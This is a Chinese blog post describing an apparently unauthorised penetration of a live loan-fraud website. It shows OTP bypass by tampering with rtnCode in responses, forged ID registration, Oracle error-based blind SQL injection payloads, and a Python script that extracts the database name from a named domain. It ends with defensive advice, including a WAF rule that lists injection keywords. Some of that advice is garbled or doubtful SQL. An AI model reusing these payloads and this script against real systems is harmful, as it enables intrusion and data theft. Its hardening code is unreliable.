记对某境外贷款诈骗平台渗透测试实战

admin 2025年5月19日17:12:30评论4 views字数 3832阅读12分46秒阅读模式
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。还在学怎么挖通用漏洞和src吗?知识星球,续费也有优惠私聊~~想要入交流群在最下方,考安全证书请联系vx咨询。
记对某境外贷款诈骗平台渗透测试实战

  贷款诈骗平台以“高额度低息”为诱饵,伪造正规金融机构资质,通过虚假贷款申请骗取用户个人信息及资金,常以手续费、保证金等名义诱导转账,最终卷款消失,导致受害者财产损失及数据泄露。            

某境外贷款诈骗平台渗透测试实战

一、目标背景

本次渗透目标为某境外贷款诈骗网站(https://xxx.com/),经前期侦查发现:

  1. 网站注册流程存在明显安全缺陷
  2. 后端接口直接暴露SQL注入风险点
  3. 采用Oracle数据库且存在敏感信息泄露特征
记对某境外贷款诈骗平台渗透测试实战

二、漏洞挖掘过程

(一)任意用户注册漏洞

利用链分析:

  1. 注册接口强制要求台湾地区身份证格式
  2. 通过身份证生成器构造虚拟身份信息
  3. 关键绕过步骤:
    • 注册阶段拦截响应包
    • 修改rtnCode参数为0绕过OTP二次认证
    • 登录密码设置环节同样通过参数篡改绕过验证
记对某境外贷款诈骗平台渗透测试实战
记对某境外贷款诈骗平台渗透测试实战
  • 该站点有注册功能,但是账号需要严格按照弯弯的sfz格式
  • 这里找了个弯弯sfz生成器(自取):https://people.debian.org/~paulliu/ROCid.html 拿生成的虚拟sfz尝试注册
  • 来到OTP认证(无脑绕了),手机号和验证码随便填->抓包,拦截响应包,修改rtnCode参数为0,绕过OTP认证
记对某境外贷款诈骗平台渗透测试实战
  • 填完之后抓包(老样子改参数为0)记对某境外贷款诈骗平台渗透测试实战
记对某境外贷款诈骗平台渗透测试实战
记对某境外贷款诈骗平台渗透测试实战
记对某境外贷款诈骗平台渗透测试实战

技术细节:

POST /register HTTP/1.1Host: xxx.comContent-Type: application/x-www-form-urlencodedusername=test&password=123456&rtnCode=0&otp_code=123456

(二)SQL注入漏洞

发现过程:

  1. 在敏感接口探测中发现参数注入点
  2. 初步验证发现单引号引发报错
  3. 通过盲注测试确认Oracle数据库特征

关键注入语句:

  • 再续前缘,成功进入后台后点几个功能点,发现都是调用其他域名的接口,其中有个接口存在SQL注入(xia_SQL插件nb)添加一个单引号报错
记对某境外贷款诈骗平台渗透测试实战
  • 添加两个单引号正常(初步判断存在SQL,尝试注入)
记对某境外贷款诈骗平台渗透测试实战
  • 最终经过测试,下面返回正常,代表执行e的290次方, || 为连接符
记对某境外贷款诈骗平台渗透测试实战
  • 291次方太大就会报错,这里感觉是orcale数据库
记对某境外贷款诈骗平台渗透测试实战
  • 开始测试注入函数,if()函数不管怎么判断都返回相同内容(无法使用)
  • 这里decode()函数,同理,返回内容相同(无法判断)
记对某境外贷款诈骗平台渗透测试实战
记对某境外贷款诈骗平台渗透测试实战
  • 尝试case when 正常应该是返回数据,不报错case 1 when 1=1 then 1 else exp(291) end记对某境外贷款诈骗平台渗透测试实战
  • 这里换个写法就好了case 1 when 1 then 1 else exp(291) end
记对某境外贷款诈骗平台渗透测试实战
  • 将结果换成case 1 when 2 then 1 else exp(291) end验证下,没问题,存在SQL注入
记对某境外贷款诈骗平台渗透测试实战
  • 尝试注user,先判断user长度(正确返回数据,不正确报错)case length(user) when 1 then 1 else exp(291) end
记对某境外贷款诈骗平台渗透测试实战
  • 这里判断出user长度为7case length(user) when 7 then 1 else exp(291) end
记对某境外贷款诈骗平台渗透测试实战
  • 接着注user语句case ascii(substr(user,1,1)) when 1 then 1 else exp(291) end要不说是弯弯,真是一点危险函数没过滤,跑出来第一个字符ascii为70(后续就直接写脚本跑)
记对某境外贷款诈骗平台渗透测试实战
-- 判断数据库长度?CUST_ID=U193683453'||case when length((selectglobal_namefromglobal_name))=7then1elseexp(709end||'-- 提取数据库名称字符?CUST_ID=U193683453'||casewhenascii(substr((selectglobal_namefromglobal_name),1,1))=70then1elseexp(709end||'

防御绕过技巧:

  1. 使用exp()函数代替传统延时注入
  2. 通过数学溢出错误(ORA-01426)判断条件成立
  3. 动态调整ASCII码范围规避过滤

三、技术细节分析

(一)请求伪造技术

关键请求头构造:

Headers:Sec-Ch-Ua: "Not)A;Brand";v="99", "Microsoft Edge";v="127", "Chromium";v="127"X-Client-Date: 2025-02-21T08:06:30.413ZAuthorization: Bearer {动态令牌}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0

动态参数处理:

  1. 每10分钟更新一次X-Client-Date时间戳
  2. Authorization令牌通过前端JS动态生成
  3. 使用Chrome浏览器User-Agent伪装客户端环境

(二)数据提取方法

自动化脚本实现:

import requestsimport timeurl = "https://lnunicomiot.com/api/v1/query"headers = {"Authorization""Bearer {token}","User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0","Content-Type""application/json"}defextract_db_info():    db_length = 0# 动态计算数据库名长度whileTrue:        payload = f"?CUST_ID=U193683453'||case when length((select global_name from global_name))={db_length} then 1 else exp(709) end||'"        response = requests.get(url + payload, headers=headers)if"ORA-01426"notin response.text:break        db_length +=1return db_lengthdefextract_chars(length):    db_name = ""for i in range(1, length+1):for code in range(32127):            payload = f"?CUST_ID=U193683453'||case when ascii(substr((select global_name from global_name),{i},1))={code} then 1 else exp(709) end||'"            response = requests.get(url + payload, headers=headers)if"ORA-01426"notin response.text:                db_name += chr(code)breakreturn db_nameif __name__ == "__main__":    db_len = extract_db_info()    print(f"Database name length: {db_len}")    db_name = extract_chars(db_len)    print(f"Extracted DB name: {db_name}")

四、防御建议

(一)输入验证强化

  1. 对所有用户输入实施白名单过滤
  2. 特殊字符转义规则:

    ^[a-zA-Z0-9u4e00-u9fa5]{4,20}$
  3. 建立输入参数长度限制机制

(二)数据库加固方案

  1. 禁用高危函数:

    -- Oracle示例BEGIN  DBMS_NETWORK_ACL_ADMIN.DISABLE_ACL('utl_http');END;
  2. 实施最小权限原则:

    REVOKECREATESESSIONFROMPUBLIC;GRANTCONNECTRESOURCETO app_user;

(三)Web应用防护

  1. 部署WAF规则集:

    SecRule ARGS "@rx (exp|substr|length|global_name)" "id:1001,phase:2,block,msg:'SQL Injection Detected'"
  2. 启用Oracle安全审计:

    AUDIT EXECUTEANYPROCEDURE;AUDIT SELECTTABLEUPDATETABLEINSERTTABLEDELETETABLE;

五、总结

本次渗透测试揭示了境外非法金融平台普遍存在的三大安全短板:

  1. 身份认证体系脆弱性(OTP绕过)
  2. 数据库配置缺陷(敏感信息暴露)
  3. 接口安全设计缺失(动态令牌未有效防护)

建议相关企业应建立纵深防御体系,重点加强API安全防护和输入验证机制。本文提供的攻击模拟可作为安全建设的参考基准。

原文始发于微信公众号(不秃头的安全):记对某境外贷款诈骗平台渗透测试实战

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日17:12:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记对某境外贷款诈骗平台渗透测试实战https://cn-sec.com/archives/4043054.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息